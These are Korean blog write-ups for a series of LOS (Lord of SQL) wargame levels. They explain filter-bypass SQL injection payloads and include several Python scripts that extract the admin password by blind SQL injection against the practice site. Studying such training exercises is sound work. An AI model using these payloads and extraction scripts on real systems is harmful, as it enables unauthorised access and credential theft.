id 뒤에 주석이 있어서 pw에 무슨 값을 입력해도 의미가 없어지는 문제입니다.


하지만 #으로 주석 처리할 경우 한 줄만 주석이 되므로 개행을 하게 되면 주석을 피할 수 있고,

개행을 하더라도 ';' 을 만나지 않는 이상 한개의 Query로 인식하게 됩니다.


보통 개행으로 사용하는 문자는 %0a 입니다.



그렇게 생각하고 처음에 한 방법은 다음과 같습니다.

';' 앞에는 %0a를 넣어서 빈칸으로 보입니다.


해당 Query에 별다른 문제가 없어 보이는데 실상은 Query를 두개 수행한 것이라

첫 번째 Query인 select id from prob_dragon where id='guest' 의 결과가 앞에 있기에 풀리지 않습니다.

(근데 왜 "Hello guest"도 안 나올까요...)



두 개의 Query로 만들 생각만 계속했었는데.. 한 문장으로 해결이 가능 했습니다.

다음과 같이 and pw='' 를 먼저 입력하고 뒤에 or을 입력하면 연산자 우선순위로 인해 and를 먼저 계산하게 됩니다.


id='guest'# and pw=''%0a and pw='' or id='admin'%23'

위와 같이 and 은 거짓으로 되지만 or 연산으로 id='admin' 값을 찾아오게 됩니다.

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dark_eyes  (0) 2018.10.12
[LOS] iron_golem  (1) 2018.10.11
[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08

Blind SQL Injection 문제로 보여집니다.

추가된 필터링은 regex, like 이며 해당 함수는 정규 표현식을 사용하는데 쓰여집니다.


이 문제는 저한테 좀 버거웠네요.. 힌트도 구하고 참고도  했습니다 ㅜ



우선 항상 하던 것처럼 pw의 길이를 구해야 합니다.

매번 8자리의 문자열이었는데 이번에는 그보다 상당히 컸습니다.

40자리의 pw 길이였습니다.


이렇게 하고 평소처럼 ascii code표에 대응하는 비밀번호들을 하나씩 비교해봤는데 전혀 나오지 않았습니다.

' or substr(pw,1,1)='0'#



너무 막혀서 HINT를 구했는데.

우리가 읽을 수 없는 문자열이고, 한글이라는 이야기를 알게 되었습니다.


흔히 쓰는 영어랑 숫자는 1byte로 표현이 가능하지만 한글은 2byte가 있어야 표현을 할 수 있습니다.


그래서 영어를 사용하는 나라들은 UTF-8로 표현이 가능하게 됩니다.

하지만 우리나라, 중국, 일본과 같은 문자를 사용하는 나라들은 최소 2byte가 필요하여 UTF-16이나 UTF-32를 사용해야 문자를 표현할 수 있습니다.


문자 하나의 길이를 알아보고자 다음과 같이 substring()으로 문자 하나를 가져와 길이를 구해보니 4byte로 나오게 됩니다.



그렇게 10번째도 확인하고 11번째 문자도 확인해보니 11번째 문자에서는 "Hello guest"가 나오는 것을 보면

총 10자리 수의 unicode 문자열이 기록되어 있는 것을 알 수 있습니다.



그러다 Blind SQLI로 한글을 가져올 때 hex()값을 이용할 수 있다는 것을 알게 되었습니다.

hex(pw)의 길이를 구하면 80으로 나오게 됩니다.



이 정보를 가지고 hex값을 이용해서 하나씩 추출해보면 값이 나오고 해당 값을 hex decode하면 password가 만들어 집니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?'
index_list = range(48,58)+range(97,123) #0~9, a~z
 
password = ''
 
for i in range(1,81):
    for j in index_list:
        query = "pw=' or substr(hex(pw),"+str(i)+",1)='"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs







항상 영어나 숫자로만 된 값을 가져오기만 해서 그런지 unicode라는 생각을 하기 힘들었습니다,

처음 보는 유형이라 쉽지 않네요 ㅜ..




[참고]

Blind SQL Injection를 이용하여 한글 가져오기!: http://zulloper.tistory.com/119

문자열 인코딩에 대한 정리: https://lng1982.tistory.com/233

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] iron_golem  (1) 2018.10.11
[LOS] dragon  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08

주석으로 항상 쓰던 '#', '-'이 필터링 되어있고, 길이 제한이 생겼습니다.



pw에 보시면 ('{$_GET[pw]}')로 감싸져 있는 것을 보아하니 괄호를 이용해야 할 것은 확실해 보입니다.


어떻게 할지 몰라 힌트를 구했더니... 

주석으로 쓰는 다른 문자가 있고, 문자열은 0이라는 것을 얻었습니다.


뒤에 id!='admin'을 없애야 하기에 다른 주석 문자를 찾아보니 ;%00 /**/ 도 있었습니다.

문자열 길이가 제한이 있기 때문에 ;%00 을 사용해야 할 것으로 보입니다.

(%00은 NULL로 문자열의 끝을 나타냅니다.)


또한 문자열은 0이다.. 라는 힌트는

뒤에 ')이 주석으로 사라지니 일단 앞의 ('의 짝을 맞춰야 합니다.

그럼 여기까지 pw=('');%00') 이렇게 되는데 결국 무조건 참으로 만들려면 아직 완전하지 않습니다.

문자열이 0이라는 힌트로 ('')는 아무것도 없으니 0 일수도 있겠다고 생각했습니다.

(보통 1은 참 0은 거짓)


그렇게 다음과 같이 만들어 주면 성공하게 됩니다.




[힌트 출처]

http://34t3rnull.tistory.com/39


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] dragon  (0) 2018.10.10
[LOS] xavis  (0) 2018.10.10
[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08

zombie_assassin과 비슷한 문제입니다.


다른 점은 preg_match()로 '(single quarter)를 필터링 했으며, '\' 필터링이 없어졌다는 것입니다. 



\가 필터링 되지 않았으면 상당히 쉽게 해결 할 수 있습니다.

id 부분에 '\'를 넣어두면 '(single quarter)가 문자가 되어 뒤 pw 부분의 '(single quarter)와 결합하게 됩니다.


따라서 or 1=1#를 사용할 수 있게 되는 것입니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] xavis  (0) 2018.10.10
[LOS] nigthmare  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07

ereg()로 '(single quarter)를 필터링 합니다.


하지만 ereg()를 우회하는 간단한 방법은 %00(NULL)를 넣어주는 것입니다.

NULL은 문자열의 끝을 뜻하고 ereg() 함수는 문자열을 체크하기 때문에 문자열의 끝이 나오면 이후는 검사하지 않습니다.


id는 필요 없고, pw 부분 만으로 해결 가능합니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] nigthmare  (0) 2018.10.08
[LOS] succubus  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06

'(single quarter)가 필터링이 되어있어서 억지로 'admin'을 만들지도 못하고 이리저리 힘든 문제입니다.

하지만 like에 대한 내용만 잘 알고 있다면 쉽게 풀 수 있는 문제입니다.



LIKE를 사용할 때 보통 '=' 대신 써서 동일한 문자열을 비교하는 용도로 썼지만 그 밖에 '%'와 '_'를 이용한 방법도 있습니다.

'%'는 문자열을 나타내고, '_'는 문자 하나를 나타냅니다.


like 'a%' 는 'a'로 시작되는 모든 문자열을 뜻하고,

like '%a' 는 'a'로 끝나는 모든 문자열을 뜻합니다.

like '_bc' 는 뒤에 두 글자가 'bc'인 모든 문자열을 뜻합니다.


따라서 다음과 같이 '%'만 쓸 경우에는 모든 문자열을 나타내기 때문에 참이 됩니다.

"Hello guest"라고 뜨네요.



또한 '_' 문자열은 문자 하나를 뜻하기 때문에 하나씩 늘려가면서 해보면 pw의 길이를 알 수 있습니다.

8자리에서 "Hello guest"라고 나옵니다.


하지만 엄청나게 많은 '_'를 입력해도 'admin'이라는 문자는 나오지 않습니다.


그렇다면 'guest'와 'admin'의 pw의 길이가 같다고 생각 할 수 있습니다.



하나씩 하기에 무리가 있으니 python 코드를 이용해서 해봅니다.


다음 코드를 이용하면 'guest'의 pw를 알아낼 수 있습니다.

하지만 'admin'의 pw는 알아낼 수 없습니다.


'guest'의 pw의 맨 처음 글자가 '8'인데 '8'을 제외하고 해봐도 나오지 않는 것을 보면 

'admin'의 패스워드의 첫 시작도 '8'이라 짐작 할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?'
 
index_list = range(48,58)+range(97,123)
password = ''
 
for i in range(1,9):
    for j in index_list:
        #query = "pw="+"_"*i
        query = "pw="+password+chr(j)+"%25"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello guest")>0):
            password += chr(j)
            print("password : "+password)
            break
cs



그렇게 하나하나 하다 보면 다음처럼 일찍 해결할 수 도 있고, 정확한 pw를 구할 수도 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] succubus  (0) 2018.10.08
[LOS] zombie_assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06

from 뒤에 테이블명이 오는데 띄어쓰기가 안되어 있어서 Query가 제대로 작동하지 않습니다.

하지만 필터링으로 공백, 개행, 커서 처음으로, 탭 4가지를 막아 놨습니다.



하지만 ascii 코드표를 참고해보시면 아시겠지만 공백으로 인식되는 다양한 것들이 있습니다.

%09, %0a, %0b, %0c, %0d, %20

다음 6가지들은 모두 공백을 뜻합니다. 4가지만 막아두었기 때문에 다른 2가지를 사용해 문제를 해결 할 수 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06

점점 필터링이 많아지네요..

이번에는 like, 공백, 0x 도 필터링이 되어있습니다.



우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.



이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.

그렇다면 이번에는 0b2진수로 'admin'을 만들어 전송하면 됩니다.


2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.

다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.


python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로  변환하시면 됩니다.


문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.

여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.


아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.



복잡해 보이지만 다음과 같습니다.

  공백     → %0a

  or        → ||

  and      → &&

  =         → in()

  'admin'  → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



나온 답은 소문자로 ~

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06

pw 는 '(single quarter)만 필터링을 합니다.

no 는 '(single quarter), substr, ascii, = 를 필터링 합니다.


때문에 '(single quarter)도 우회하고 substr도 우회하는 것이 중요합니다.



우선 pw에는 많은 필터링이 걸리지 않았지만 '(single quarter)가 필터링 되어 다루기 애매하므로 '(single quarter)가 없는 no에서 수행합니다.

= 대신에 like를 이용해 참으로 만들어 보면 "Hello guest"가 나옵니다.



"admin"이 필요하므로 id like 'admin'을 해서 "admin"을 만들어야 하는데 '(single quarter)가 필터링 되어있으니 Hex값으로 변경 후 전송합니다.

admin의 Hex값은 0x61646d696e 입니다. (참고로 'admin'을 hex로 바꾸는 것이 아닙니다.)



위의 내용을 바탕으로 Python 코드를 작성해봅니다.

'substr'가 필터링 되어있기 때문에 앞선 문제처럼 substring()을 사용할 수는 없습니다.

대신 left() 함수를 이용해서 왼쪽부터 한 글자씩 차례대로 알아내면 됩니다.


여기서 '(single quarter)가 필터링 되어있고 left()함수로 나오는 값은 문자열이기에 결국 '(single quarter)가 필요합니다.

그래서 대신 "(double quarter)로 사용하면 대체할 수 있습니다.


python 코드에서 문자열을 묶을 때 "(double quarter)로 보통 사용하는데 이번 만큼은 '(single quarter)로 대신 묶어줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?'
password = ''
length = 0

#pw 길이 구하기
for i in range(1,99):
    query = "no=1 or id like 0x61646d696e %26%26 length(pw) like "+str(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+password+chr(j)+'"'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs




'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06

이번에는 substr(= 가 필터링에 추가가 되었습니다.

형식을 보아하니 앞선 문제처럼 Blind SQL Injection을 해서 문제를 풀어야 할 것으로 보입니다.



우선 = 필터링을 우회하기 위해서 like를 사용할 수 있습니다.



필터링을 우회할 수 있으니 Python 코드를 통해서 공격 수행을 해봅니다.

id='admin' 대신에 id like 'admin'을 하여 우회를 시킬 수 있습니다.


길이를 구하고 substr()과 동일한 기능을 하는 substring()으로 문자열을 나눠서 찾아봅니다.

그 외에 left, mid, right를 이용할 수도 있습니다.


range(33,127)로하면 '%'에서 막히게 됩니다..

그래서 앞선 문제들의 답이 숫자와 영어로 이루어 져있다는 것을 알았으니 48로 시작하면 '0'부터 체크하게 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "pw=' || id like 'admin' %26%26 length(pw) like "+str(i)+"%23"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "pw=' || id like 'admin' %26%26 substring(pw,"+str(i)+",1) like '"+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



소문자로 입력하셔야 제대로 인증이 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06
[LOS] troll  (0) 2018.10.06

+ Recent posts